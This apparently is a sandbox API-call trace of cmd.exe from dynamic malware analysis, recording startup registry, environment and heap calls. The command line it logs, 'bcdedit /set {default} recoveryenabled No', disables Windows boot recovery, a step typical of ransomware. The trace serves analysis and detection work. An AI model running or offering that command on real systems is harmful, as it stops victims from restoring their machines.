	[0119.905] GetModuleHandleW (lpModuleName=0x0) returned 0x4a450000
	[0119.905] __set_app_type (_Type=0x1) 
	[0119.906] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a477810) returned 0x0
	[0119.906] __getmainargs (in: _Argc=0x4a49a608, _Argv=0x4a49a618, _Env=0x4a49a610, _DoWildCard=0, _StartInfo=0x4a47e0f4 | out: _Argc=0x4a49a608, _Argv=0x4a49a618, _Env=0x4a49a610) returned 0
	[0119.907] GetCurrentThreadId () returned 0xb18
	[0119.907] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb18) returned 0x3c
	[0120.276] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0120.276] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0120.276] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0120.277] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0120.277] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x20f908 | out: phkResult=0x20f908*=0x0) returned 0x2
	[0120.278] VirtualQuery (in: lpAddress=0x20f8f0, lpBuffer=0x20f870, dwLength=0x30 | out: lpBuffer=0x20f870*(BaseAddress=0x20f000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.278] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x20f870, dwLength=0x30 | out: lpBuffer=0x20f870*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.278] VirtualQuery (in: lpAddress=0x111000, lpBuffer=0x20f870, dwLength=0x30 | out: lpBuffer=0x20f870*(BaseAddress=0x111000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.278] VirtualQuery (in: lpAddress=0x114000, lpBuffer=0x20f870, dwLength=0x30 | out: lpBuffer=0x20f870*(BaseAddress=0x114000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.278] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x20f870, dwLength=0x30 | out: lpBuffer=0x20f870*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.278] GetConsoleOutputCP () returned 0x1b5
	[0120.279] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0120.280] SetConsoleCtrlHandler (HandlerRoutine=0x4a473184, Add=1) returned 1
	[0120.280] _get_osfhandle (_FileHandle=1) returned 0x7
	[0120.280] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0120.281] _get_osfhandle (_FileHandle=1) returned 0x7
	[0120.281] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a47e194 | out: lpMode=0x4a47e194) returned 1
	[0120.282] _get_osfhandle (_FileHandle=1) returned 0x7
	[0120.282] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0120.283] _get_osfhandle (_FileHandle=0) returned 0x3
	[0120.283] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a47e198 | out: lpMode=0x4a47e198) returned 1
	[0120.284] _get_osfhandle (_FileHandle=0) returned 0x3
	[0120.284] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0120.284] GetEnvironmentStringsW () returned 0x348b10*
	[0120.285] GetProcessHeap () returned 0x330000
	[0120.285] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa7c) returned 0x3495a0
	[0120.285] FreeEnvironmentStringsW (penv=0x348b10) returned 1
	[0120.285] GetProcessHeap () returned 0x330000
	[0120.286] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x8) returned 0x348390
	[0120.286] GetEnvironmentStringsW () returned 0x348b10*
	[0120.286] GetProcessHeap () returned 0x330000
	[0120.286] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa7c) returned 0x34a030
	[0120.286] FreeEnvironmentStringsW (penv=0x348b10) returned 1
	[0120.286] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20e7c8 | out: phkResult=0x20e7c8*=0x44) returned 0x0
	[0120.286] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x0, lpData=0x20e7e0*=0x18, lpcbData=0x20e7c4*=0x1000) returned 0x2
	[0120.287] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x4, lpData=0x20e7e0*=0x1, lpcbData=0x20e7c4*=0x4) returned 0x0
	[0120.287] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x0, lpData=0x20e7e0*=0x1, lpcbData=0x20e7c4*=0x1000) returned 0x2
	[0120.287] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x4, lpData=0x20e7e0*=0x0, lpcbData=0x20e7c4*=0x4) returned 0x0
	[0120.287] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x4, lpData=0x20e7e0*=0x40, lpcbData=0x20e7c4*=0x4) returned 0x0
	[0120.287] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x4, lpData=0x20e7e0*=0x40, lpcbData=0x20e7c4*=0x4) returned 0x0
	[0120.287] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x0, lpData=0x20e7e0*=0x40, lpcbData=0x20e7c4*=0x1000) returned 0x2
	[0120.287] RegCloseKey (hKey=0x44) returned 0x0
	[0120.288] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20e7c8 | out: phkResult=0x20e7c8*=0x44) returned 0x0
	[0120.288] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x0, lpData=0x20e7e0*=0x40, lpcbData=0x20e7c4*=0x1000) returned 0x2
	[0120.288] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x4, lpData=0x20e7e0*=0x1, lpcbData=0x20e7c4*=0x4) returned 0x0
	[0120.288] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x0, lpData=0x20e7e0*=0x1, lpcbData=0x20e7c4*=0x1000) returned 0x2
	[0120.288] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x4, lpData=0x20e7e0*=0x0, lpcbData=0x20e7c4*=0x4) returned 0x0
	[0120.288] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x4, lpData=0x20e7e0*=0x9, lpcbData=0x20e7c4*=0x4) returned 0x0
	[0120.288] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x4, lpData=0x20e7e0*=0x9, lpcbData=0x20e7c4*=0x4) returned 0x0
	[0120.289] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20e7c0, lpData=0x20e7e0, lpcbData=0x20e7c4*=0x1000 | out: lpType=0x20e7c0*=0x0, lpData=0x20e7e0*=0x9, lpcbData=0x20e7c4*=0x1000) returned 0x2
	[0120.289] RegCloseKey (hKey=0x44) returned 0x0
	[0120.289] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e650
	[0120.289] srand (_Seed=0x5e22e650) 
	[0120.289] GetCommandLineW () returned="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	[0120.289] GetCommandLineW () returned="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	[0120.289] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a48c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0120.290] GetProcessHeap () returned 0x330000
	[0120.290] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x218) returned 0x34aac0
	[0120.290] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34aad0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0120.291] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0120.291] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.291] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0120.291] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0120.291] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0120.291] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0120.291] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0120.291] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0120.291] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0120.292] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0120.292] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0120.292] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0120.292] GetProcessHeap () returned 0x330000
	[0120.292] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3495a0 | out: hHeap=0x330000) returned 1
	[0120.292] GetEnvironmentStringsW () returned 0x348b10*
	[0120.292] GetProcessHeap () returned 0x330000
	[0120.292] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa94) returned 0x34b780
	[0120.293] FreeEnvironmentStringsW (penv=0x348b10) returned 1
	[0120.293] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.293] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0120.293] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0120.293] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0120.293] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0120.293] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0120.293] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0120.293] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0120.293] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0120.293] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0120.294] GetProcessHeap () returned 0x330000
	[0120.294] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x38) returned 0x346500
	[0120.294] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20f5d0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0120.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x20f5d0, lpFilePart=0x20f5b0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x20f5b0*="system32") returned 0x13
	[0120.294] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0120.295] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x20f2e0 | out: lpFindFileData=0x20f2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb0000db, cFileName="Windows", cAlternateFileName="")) returned 0x348970
	[0120.295] FindClose (in: hFindFile=0x348970 | out: hFindFile=0x348970) returned 1
	[0120.295] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x20f2e0 | out: lpFindFileData=0x20f2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb0000db, cFileName="System32", cAlternateFileName="")) returned 0x348970
	[0120.295] FindClose (in: hFindFile=0x348970 | out: hFindFile=0x348970) returned 1
	[0120.296] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0120.296] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0120.296] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0120.296] GetProcessHeap () returned 0x330000
	[0120.296] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b780 | out: hHeap=0x330000) returned 1
	[0120.296] GetEnvironmentStringsW () returned 0x348b10*
	[0120.296] GetProcessHeap () returned 0x330000
	[0120.296] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xac4) returned 0x34ace0
	[0120.297] FreeEnvironmentStringsW (penv=0x348b10) returned 1
	[0120.297] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a48c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0120.297] GetProcessHeap () returned 0x330000
	[0120.297] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x346500 | out: hHeap=0x330000) returned 1
	[0120.297] GetProcessHeap () returned 0x330000
	[0120.297] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4016) returned 0x34ccf0
	[0120.298] GetProcessHeap () returned 0x330000
	[0120.298] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x9e) returned 0x34b7b0
	[0120.298] GetProcessHeap () returned 0x330000
	[0120.298] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4010) returned 0x350d10
	[0120.299] GetProcessHeap () returned 0x330000
	[0120.299] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4010) returned 0x354d30
	[0120.300] GetProcessHeap () returned 0x330000
	[0120.300] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ccf0 | out: hHeap=0x330000) returned 1
	[0120.300] GetConsoleOutputCP () returned 0x1b5
	[0120.301] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0120.301] GetUserDefaultLCID () returned 0x409
	[0120.302] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a487b50, cchData=8 | out: lpLCData=":") returned 2
	[0120.303] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x20f6e0, cchData=128 | out: lpLCData="0") returned 2
	[0120.303] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x20f6e0, cchData=128 | out: lpLCData="0") returned 2
	[0120.303] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x20f6e0, cchData=128 | out: lpLCData="1") returned 2
	[0120.303] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a49a740, cchData=8 | out: lpLCData="/") returned 2
	[0120.303] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a49a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0120.304] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a49a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0120.304] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a49a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0120.304] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a49a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0120.304] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a49a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0120.304] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a49a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0120.304] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a49a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0120.304] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a487b40, cchData=8 | out: lpLCData=".") returned 2
	[0120.304] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a49a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0120.305] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0120.306] GetProcessHeap () returned 0x330000
	[0120.306] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20c) returned 0x34b8d0
	[0120.306] GetConsoleTitleW (in: lpConsoleTitle=0x34b8d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.718] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0120.718] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0120.718] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0120.718] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0120.719] GetProcessHeap () returned 0x330000
	[0120.719] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4012) returned 0x34ccf0
	[0120.720] GetProcessHeap () returned 0x330000
	[0120.720] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ccf0 | out: hHeap=0x330000) returned 1
	[0120.721] _wcsicmp (_String1="bcdedit", _String2=")") returned 57
	[0120.721] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4
	[0120.721] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4
	[0120.721] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7
	[0120.721] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7
	[0120.722] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16
	[0120.722] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16
	[0120.722] GetProcessHeap () returned 0x330000
	[0120.722] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0) returned 0x34baf0
	[0120.722] GetProcessHeap () returned 0x330000
	[0120.722] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x20) returned 0x344600
	[0120.724] GetProcessHeap () returned 0x330000
	[0120.724] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x58) returned 0x348970
	[0120.726] GetProcessHeap () returned 0x330000
	[0120.727] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0) returned 0x34bbb0
	[0120.729] _wcsicmp (_String1="bcdedit", _String2=")") returned 57
	[0120.729] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4
	[0120.729] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4
	[0120.729] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7
	[0120.729] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7
	[0120.729] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16
	[0120.729] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16
	[0120.730] GetProcessHeap () returned 0x330000
	[0120.730] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0) returned 0x34bc70
	[0120.730] GetProcessHeap () returned 0x330000
	[0120.730] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x20) returned 0x344630
	[0120.731] GetProcessHeap () returned 0x330000
	[0120.731] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x30) returned 0x346500
	[0120.733] GetConsoleTitleW (in: lpConsoleTitle=0x20f530, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0120.735] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0120.736] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0120.737] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0120.738] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0120.739] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0120.740] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0120.741] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0120.741] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0120.741] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0120.741] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0120.741] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0120.741] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
